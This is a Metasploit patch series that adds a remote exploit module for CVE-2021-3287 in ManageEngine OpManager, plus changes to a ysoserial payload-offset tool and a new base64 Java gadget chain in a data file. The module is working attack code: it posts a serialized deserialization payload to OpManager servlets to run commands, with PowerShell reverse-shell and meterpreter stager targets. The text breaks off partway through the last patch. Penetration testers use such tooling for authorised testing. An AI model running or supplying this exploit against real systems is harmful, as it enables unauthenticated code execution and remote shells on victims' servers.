From 02fde3ac514027c8f836c141e580aa47c4fa0632 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 7 Sep 2021 08:59:04 -0400 Subject: [PATCH 01/13] Initial work on CVE-2021-3287 --- lib/msf/util/java_deserialization.rb | 4 +- .../http/opmanager_sumpdu_deserialization.rb | 129 ++++++++++++++++++ 2 files changed, 131 insertions(+), 2 deletions(-) create mode 100644 modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb diff --git a/lib/msf/util/java_deserialization.rb b/lib/msf/util/java_deserialization.rb index 71d031234740..3c9ef0035d40 100644 --- a/lib/msf/util/java_deserialization.rb +++ b/lib/msf/util/java_deserialization.rb @@ -11,11 +11,11 @@ class JavaDeserialization def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none') # Open the JSON file and parse it + path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME) begin - path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME) json = JSON.parse(File.read(path)) rescue Errno::ENOENT, JSON::ParserError - raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'" + raise RuntimeError, "Unable to load JSON data from: #{path}" end # Extract the specified payload type (including cmd, bash, powershell, none) diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb new file mode 100644 index 000000000000..a8ce4e8238ce --- /dev/null +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::JavaDeserialization + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine OpManager SumPDU Java Deserialization', + 'Description' => %q{ + + }, + 'Author' => + [ + 'Spencer McIntyre', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'References' => + [ + [ 'CVE', '2021-3287' ], + [ 'URL', 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ] + ], + 'Privileged' => true, + 'Targets' => [ + [ + 'Windows Command', + { + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' + } + } + ], + [ + 'Windows Dropper', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :win_dropper, + 'CmdStagerFlavor' => :certutil, # This works without issue + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + } + } + ], + [ + 'PowerShell Stager', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :psh_stager, + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultOptions' => { + 'RPORT' => 8060, + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2021-07-26')) + + register_options([ + OptString.new('TARGETURI', [ true, "OpManager path", '/']) + ]) + end + + def check + # todo: write this + return Exploit::CheckCode::Unknown + end + + def exploit + # Step 1: Establish a valid HTTP session + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true + }) + unless res&.code == 200 && res.headers['Set-Cookie'].to_s =~ /JSESSIONID=/ + fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session') + end + + # Step 2: Add the requestHandler to the HTTP session + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'), + 'keep_cookies' => true, + # Serialized int 1002 + 'data' => "\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea".b + }) + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session') + end + + case target['Type'] + when :win_cmd + execute_command(payload.encoded) + when :win_dropper + execute_cmdstager + when :psh_stager + execute_command(cmd_psh_payload( + payload.encoded, + payload.arch.first, + remove_comspec: true + )) + end + end + + def execute_command(cmd, _opts = {}) + vprint_status("Executing command: #{cmd}") + + java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('CommonsBeanutils1', cmd) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet'), + 'keep_cookies' => true, + 'data' => [ java_payload.length ].pack('N') + java_payload + }) + end +end From 6b905828643d72d52f26b8626724b4806b05db71 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 10 Sep 2021 15:08:17 -0400 Subject: [PATCH 02/13] Fix the diff-lcs v1.4+ bug --- tools/payloads/ysoserial/Dockerfile | 4 ++-- tools/payloads/ysoserial/find_ysoserial_offsets.rb | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/tools/payloads/ysoserial/Dockerfile b/tools/payloads/ysoserial/Dockerfile index 798e52cc3c8c..19c2ee3618b1 100644 --- a/tools/payloads/ysoserial/Dockerfile +++ b/tools/payloads/ysoserial/Dockerfile @@ -23,10 +23,10 @@ RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysos # Download ysoserial-modified RUN wget -q https://github.com/pimps/ysoserial-modified/raw/1bd423d30ae87074f94d6b9b687c17162f122c3d/target/ysoserial-modified.jar -# Install gems: diff-lcs v1.3 (to diff the ysoserial output, v1.4 breaks the script) +# Install gems: diff-lcs v1.4.4 (to diff the ysoserial output) # json (to print the scripts results in JSON) # pry (to debug issues) -RUN gem install --silent diff-lcs:1.3 json pry +RUN gem install --silent diff-lcs:1.4.4 json pry COPY find_ysoserial_offsets.rb / diff --git a/tools/payloads/ysoserial/find_ysoserial_offsets.rb b/tools/payloads/ysoserial/find_ysoserial_offsets.rb index aa3af7054dd1..2de30bbfa708 100755 --- a/tools/payloads/ysoserial/find_ysoserial_offsets.rb +++ b/tools/payloads/ysoserial/find_ysoserial_offsets.rb @@ -54,7 +54,7 @@ def generate_payload(payload_name, search_string_length) payload = stdout payload.force_encoding('binary') - if payload.length == 0 && stderr.length > 0 + if @debug && payload.length == 0 && stderr.length > 0 # Pipe errors out to the console STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")} elsif stderr.include? 'java.lang.IllegalArgumentException' @@ -110,7 +110,7 @@ def buffer_offset?(current_byte, next_byte) def diff(a, b) return nil if a.nil? or b.nil? diffs = Diff::LCS.diff(a, b) - diffs.flatten + diffs.flatten(1) end def get_payload_list From 521975976b513f8496fcc3fbd0d8c95fc7034c5b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 10 Sep 2021 18:19:36 -0400 Subject: [PATCH 03/13] Update find_ysoserial_offsets * Apply rubocop suggestions for style * Support patching an existing JSON file * Use an OptionParser --- .../ysoserial/find_ysoserial_offsets.rb | 167 ++++++++++-------- 1 file changed, 89 insertions(+), 78 deletions(-) diff --git a/tools/payloads/ysoserial/find_ysoserial_offsets.rb b/tools/payloads/ysoserial/find_ysoserial_offsets.rb index 2de30bbfa708..0f88c846e972 100755 --- a/tools/payloads/ysoserial/find_ysoserial_offsets.rb +++ b/tools/payloads/ysoserial/find_ysoserial_offsets.rb @@ -4,73 +4,82 @@ require 'json' require 'base64' require 'open3' +require 'optparse' -YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner' +YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'.freeze PAYLOAD_TEST_MIN_LENGTH = 0x0101 PAYLOAD_TEST_MAX_LENGTH = 0x0102 -YSOSERIAL_MODIFIED_TYPES = %w{ bash cmd powershell } -YSOSERIAL_UNMODIFIED_TYPE = 'none' -YSOSERIAL_ALL_TYPES = [YSOSERIAL_UNMODIFIED_TYPE] + YSOSERIAL_MODIFIED_TYPES - -# ARGV parsing -if ARGV.include?("-h") - puts 'ysoserial object template generator' - puts - puts 'Usage:' - puts ' -h Help' - puts ' -d Debug mode (output offset information only)' - puts " -m [type] Use 'ysoserial-modified' with the specified payload type" - puts ' -p [payloads] Specified ysoserial payload (payloads1,payloads2,...)' - puts ' -a Generate all types of payloads' - puts - abort -end +YSOSERIAL_MODIFIED_TYPES = %w[bash cmd powershell].freeze +YSOSERIAL_UNMODIFIED_TYPE = 'none'.freeze +YSOSERIAL_ALL_TYPES = ([YSOSERIAL_UNMODIFIED_TYPE] + YSOSERIAL_MODIFIED_TYPES).freeze + +@debug = false +@generate_all = false +@payload_type = nil +@ysoserial_modified = false +@ysoserial_payloads = [] +@json_document = {} +OptionParser.new do |opts| + opts.banner = "Usage #{File.basename($PROGRAM_NAME)} [options]" + + opts.on('-a', '--all', 'Generate all types of payloads') do + @generate_all = true + end -@generate_all = ARGV.include?('-a') -@debug = ARGV.include?('-d') -@ysoserial_modified = ARGV.include?('-m') -if @ysoserial_modified - @payload_type = ARGV[ARGV.find_index('-m')+1] - unless YSOSERIAL_MODIFIED_TYPES.include?(@payload_type) - STDERR.puts 'ERROR: Invalid payload type specified' + opts.on('-d', '--debug', 'Debug mode (output offset information only)') do + @debug = true + end + + opts.on('-h', '--help', 'Help') do + puts opts abort end -end -if (index = ARGV.index('-p')) - @ysoserial_payloads = ARGV[index+1].split(',') -end + + opts.on('-m', '--modified [TYPE]', String, 'Use \'ysoserial-modified\' with the specified payload type') do |modified_type| + @ysoserial_modified = true + @payload_type = modified_type + end + + opts.on('-p', '--payload [PAYLOAD]', String, 'Specified ysoserial payload') do |payload| + @ysoserial_payloads << payload + end + + opts.on('-j', '--json [PATH]', String, 'Update an existing JSON document') do |json_path| + @json_document = JSON.parse(File.read(json_path)) + end +end.parse! def generate_payload(payload_name, search_string_length) # Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload - searchString = 'A' * search_string_length + search_string = 'A' * search_string_length # Build the command line with ysoserial parameters if @ysoserial_modified - stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar', payload_name, @payload_type, searchString) + stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-modified.jar', payload_name, @payload_type, search_string) else - stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar', payload_name, searchString) + stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-original.jar', payload_name, search_string) end payload = stdout payload.force_encoding('binary') - if @debug && payload.length == 0 && stderr.length > 0 + if @debug && payload.empty? && !stderr.empty? # Pipe errors out to the console - STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")} + warn(stderr.split("\n").each { |i| i.prepend(' ') }) elsif stderr.include? 'java.lang.IllegalArgumentException' - #STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported" + # STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported" return nil elsif stderr.include? 'Error while generating or serializing payload' - #STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported" + # STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported" return nil elsif stdout == "\xac\xed\x00\x05\x70" - #STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported" + # STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported" return nil else - #STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}" + # STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}" # Strip out the semi-randomized ysoserial string and trailing newline - payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]{14}/, 'ysoserial/Pwner00000000000000') + payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]{13,14}/, 'ysoserial/Pwner00000000000000') return payload end end @@ -81,6 +90,7 @@ def generate_payload_array(payload_name) (PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i| payload = generate_payload(payload_name, i) return nil if payload.nil? + payload_array[i] = payload end @@ -89,10 +99,8 @@ def generate_payload_array(payload_name) def length_offset?(current_byte, next_byte) # If this byte has been changed, and is different by one, then it must be a length value - if next_byte && current_byte.position == next_byte.position && current_byte.action == "-" - if next_byte.element.ord - current_byte.element.ord == 1 - return true - end + if next_byte && current_byte.position == next_byte.position && current_byte.action == '-' && (next_byte.element.ord - current_byte.element.ord == 1) + return true end false @@ -107,9 +115,10 @@ def buffer_offset?(current_byte, next_byte) false end -def diff(a, b) - return nil if a.nil? or b.nil? - diffs = Diff::LCS.diff(a, b) +def diff(blob_a, blob_b) + return nil if blob_a.nil? || blob_b.nil? + + diffs = Diff::LCS.diff(blob_a, blob_b) diffs.flatten(1) end @@ -127,24 +136,25 @@ def get_payload_list payload_list = [] payloads.each do |line| # Skip the header rows - next unless line.start_with? " " + next unless line.start_with? ' ' + payload_list.push(line.match(/^ +([^ ]+)/)[1]) end payload_list - ['JRMPClient', 'JRMPListener'] end -#YSOSERIAL_MODIFIED_TYPES.unshift(YSOSERIAL_ORIGINAL_TYPE) +# YSOSERIAL_MODIFIED_TYPES.unshift(YSOSERIAL_ORIGINAL_TYPE) def generated_ysoserial_payloads results = {} @payload_list.each do |payload| - STDERR.puts "Generating payloads for #{payload}..." + warn "Generating payloads for #{payload}..." empty_payload = generate_payload(payload, 0) if empty_payload.nil? - STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported" - results[payload]={"status": "unsupported"} + warn " ERROR: Errored while generating '#{payload}' and it will not be supported" + results[payload] = { status: 'unsupported' } next end @@ -156,19 +166,19 @@ def generated_ysoserial_payloads # Comparing diffs of various payload lengths to find length and buffer offsets (PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i| # Compare this binary with the next one - diffs = diff(payload_array[i], payload_array[i+1]) + diffs = diff(payload_array[i], payload_array[i + 1]) break if diffs.nil? # Iterate through each diff, searching for offsets of the length and the payload diffs.length.times do |j| current_byte = diffs[j] - next_byte = diffs[j+1] - prev_byte = diffs[j-1] + next_byte = diffs[j + 1] + prev_byte = diffs[j - 1] - if j > 0 + if j > 0 && (prev_byte.position == current_byte.position) # Skip this if we compared these two bytes on the previous iteration - next if prev_byte.position == current_byte.position + next end # Compare this byte and the following byte to identify length and buffer offsets @@ -179,28 +189,28 @@ def generated_ysoserial_payloads if @debug for length_offset in length_offsets - STDERR.puts " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset-1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}" + warn " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset - 1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}" end for buffer_offset in buffer_offsets - STDERR.puts " BUFFER OFFSET #{buffer_offset}" + warn " BUFFER OFFSET #{buffer_offset}" end - STDERR.puts " PAYLOAD LENGTH: #{empty_payload.length}" + warn " PAYLOAD LENGTH: #{empty_payload.length}" end payload_bytes = Base64.strict_encode64(empty_payload) - if buffer_offsets.length > 0 + if buffer_offsets.empty? + # TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this. results[payload] = { - 'status': 'dynamic', - 'lengthOffset': length_offsets.uniq, - 'bufferOffset': buffer_offsets.uniq, - 'bytes': payload_bytes + status: 'static', + bytes: payload_bytes } else - #TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this. results[payload] = { - 'status': 'static', - 'bytes': payload_bytes + status: 'dynamic', + lengthOffset: length_offsets.uniq, + bufferOffset: buffer_offsets.uniq, + bytes: payload_bytes } end end @@ -208,36 +218,37 @@ def generated_ysoserial_payloads end @payload_list = get_payload_list -if @ysoserial_payloads +unless @ysoserial_payloads.empty? unknown_list = @ysoserial_payloads - @payload_list if unknown_list.empty? @payload_list = @ysoserial_payloads else - STDERR.puts "ERROR: Invalid payloads specified: #{unknown_list.join(', ')}" + warn "ERROR: Invalid payloads specified: #{unknown_list.join(', ')}" abort end end -results = {} if @generate_all YSOSERIAL_ALL_TYPES.each do |type| - STDERR.puts "Generating payload type for #{type}..." + warn "Generating payload type for #{type}..." @ysoserial_modified = (type != YSOSERIAL_UNMODIFIED_TYPE) @payload_type = type - results[type] = generated_ysoserial_payloads - STDERR.puts + @json_document[type] ||= {} + @json_document[type].merge!(generated_ysoserial_payloads) + $stderr.puts end else @payload_type ||= YSOSERIAL_UNMODIFIED_TYPE - results[@payload_type] = generated_ysoserial_payloads + @json_document[@payload_type] ||= {} + @json_document[@payload_type].merge!(generated_ysoserial_payloads) end payload_count = {} payload_count['skipped'] = 0 -payload_count['static'] = 0 +payload_count['static'] = 0 payload_count['dynamic'] = 0 -results.each_value do |vs| +@json_document.each_value do |vs| vs.each_value do |v| case v[:status] when 'unsupported' @@ -251,7 +262,7 @@ def generated_ysoserial_payloads end unless @debug - puts JSON.pretty_generate(results) + puts JSON.pretty_generate(@json_document) end -STDERR.puts "DONE! Successfully generated #{payload_count['static']} static payloads and #{payload_count['dynamic']} dynamic payloads. Skipped #{payload_count['skipped']} unsupported payloads." +warn "DONE! Successfully generated #{payload_count['static']} static payloads and #{payload_count['dynamic']} dynamic payloads. Skipped #{payload_count['skipped']} unsupported payloads." From 4e28d3df8fa188c86d3c40506e8b4ab3c0c53bec Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 13 Sep 2021 10:08:49 -0400 Subject: [PATCH 04/13] Update the YSoSerial Dockerfile and remove runme Remove the runme script because we should no longer be updating all of the gadget chains at once because doing so would require that quite a few different modules be updated. Moving forward we should be updating individual chains using an incremental approach to allow us to validate the results of the find_ysoserial_offsets tool which is error prone. --- tools/payloads/ysoserial/Dockerfile | 2 +- tools/payloads/ysoserial/find_ysoserial_offsets.rb | 12 ++++-------- tools/payloads/ysoserial/runme.sh | 5 ----- 3 files changed, 5 insertions(+), 14 deletions(-) delete mode 100755 tools/payloads/ysoserial/runme.sh diff --git a/tools/payloads/ysoserial/Dockerfile b/tools/payloads/ysoserial/Dockerfile index 19c2ee3618b1..1712395b4720 100644 --- a/tools/payloads/ysoserial/Dockerfile +++ b/tools/payloads/ysoserial/Dockerfile @@ -30,4 +30,4 @@ RUN gem install --silent diff-lcs:1.4.4 json pry COPY find_ysoserial_offsets.rb / -CMD ruby /find_ysoserial_offsets.rb -a +ENTRYPOINT ["ruby", "/find_ysoserial_offsets.rb"] diff --git a/tools/payloads/ysoserial/find_ysoserial_offsets.rb b/tools/payloads/ysoserial/find_ysoserial_offsets.rb index 0f88c846e972..7313d8f59974 100755 --- a/tools/payloads/ysoserial/find_ysoserial_offsets.rb +++ b/tools/payloads/ysoserial/find_ysoserial_offsets.rb @@ -15,8 +15,7 @@ @debug = false @generate_all = false -@payload_type = nil -@ysoserial_modified = false +@payload_type = YSOSERIAL_UNMODIFIED_TYPE @ysoserial_payloads = [] @json_document = {} OptionParser.new do |opts| @@ -36,7 +35,6 @@ end opts.on('-m', '--modified [TYPE]', String, 'Use \'ysoserial-modified\' with the specified payload type') do |modified_type| - @ysoserial_modified = true @payload_type = modified_type end @@ -54,10 +52,10 @@ def generate_payload(payload_name, search_string_length) search_string = 'A' * search_string_length # Build the command line with ysoserial parameters - if @ysoserial_modified - stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-modified.jar', payload_name, @payload_type, search_string) - else + if @payload_type == YSOSERIAL_UNMODIFIED_TYPE stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-original.jar', payload_name, search_string) + else + stdout, stderr, _status = Open3.capture3('java', '-jar', 'ysoserial-modified.jar', payload_name, @payload_type, search_string) end payload = stdout @@ -231,14 +229,12 @@ def generated_ysoserial_payloads if @generate_all YSOSERIAL_ALL_TYPES.each do |type| warn "Generating payload type for #{type}..." - @ysoserial_modified = (type != YSOSERIAL_UNMODIFIED_TYPE) @payload_type = type @json_document[type] ||= {} @json_document[type].merge!(generated_ysoserial_payloads) $stderr.puts end else - @payload_type ||= YSOSERIAL_UNMODIFIED_TYPE @json_document[@payload_type] ||= {} @json_document[@payload_type].merge!(generated_ysoserial_payloads) end diff --git a/tools/payloads/ysoserial/runme.sh b/tools/payloads/ysoserial/runme.sh deleted file mode 100755 index 242fb3f4f7fc..000000000000 --- a/tools/payloads/ysoserial/runme.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/sh - -docker build -t ysoserial-payloads . && \ - docker run -i ysoserial-payloads > ysoserial_payloads.json && \ - mv ysoserial_payloads.json ../../../data From d4834631c30d07f4c6f67eabb137cb2194ac29a3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 13 Sep 2021 11:26:12 -0400 Subject: [PATCH 05/13] Add the generated YSoSerial gadget chain --- data/ysoserial_payloads.json | 11 +++++++++++ .../multi/http/opmanager_sumpdu_deserialization.rb | 5 ++++- 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/data/ysoserial_payloads.json b/data/ysoserial_payloads.json index 1f177e1be0fa..3192e7971b23 100644 --- a/data/ysoserial_payloads.json +++ b/data/ysoserial_payloads.json @@ -317,6 +317,17 @@ }, "Wicket1": { "status": "unsupported" + }, + "frohoff/ysoserial#168": { + "status": "dynamic", + "lengthOffset": [ + 553, + 1742 + ], + "bufferOffset": [ + 1743 + ], + "bytes": "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAnamF2YS51dGlsLkNvbGxlY3Rpb25zJFJldmVyc2VDb21wYXJhdG9yZASK8FNOStACAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpTK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAACAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMDAwMDAwMDAwMDAwMDABAB9MeXNvc2VyaWFsL1B3bmVyMDAwMDAwMDAwMDAwMDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=" } }, "bash": { diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index a8ce4e8238ce..f45d3727ecde 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -100,6 +100,7 @@ def exploit fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session') end + # Step 3: Exploit the deserialization vulnerability to run commands case target['Type'] when :win_cmd execute_command(payload.encoded) @@ -117,7 +118,9 @@ def exploit def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") - java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('CommonsBeanutils1', cmd) + # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the + # dependency on the commons-collections library making it usable in this context + java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) res = send_request_cgi({ 'method' => 'POST', From d640866b682240358b9b10aac4253c8869ec1d65 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 13 Sep 2021 11:42:02 -0400 Subject: [PATCH 06/13] Apply rubocop changes and fix all targets --- .../http/opmanager_sumpdu_deserialization.rb | 64 +++++++++++-------- 1 file changed, 37 insertions(+), 27 deletions(-) diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index f45d3727ecde..1661713debc6 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -7,29 +7,29 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend 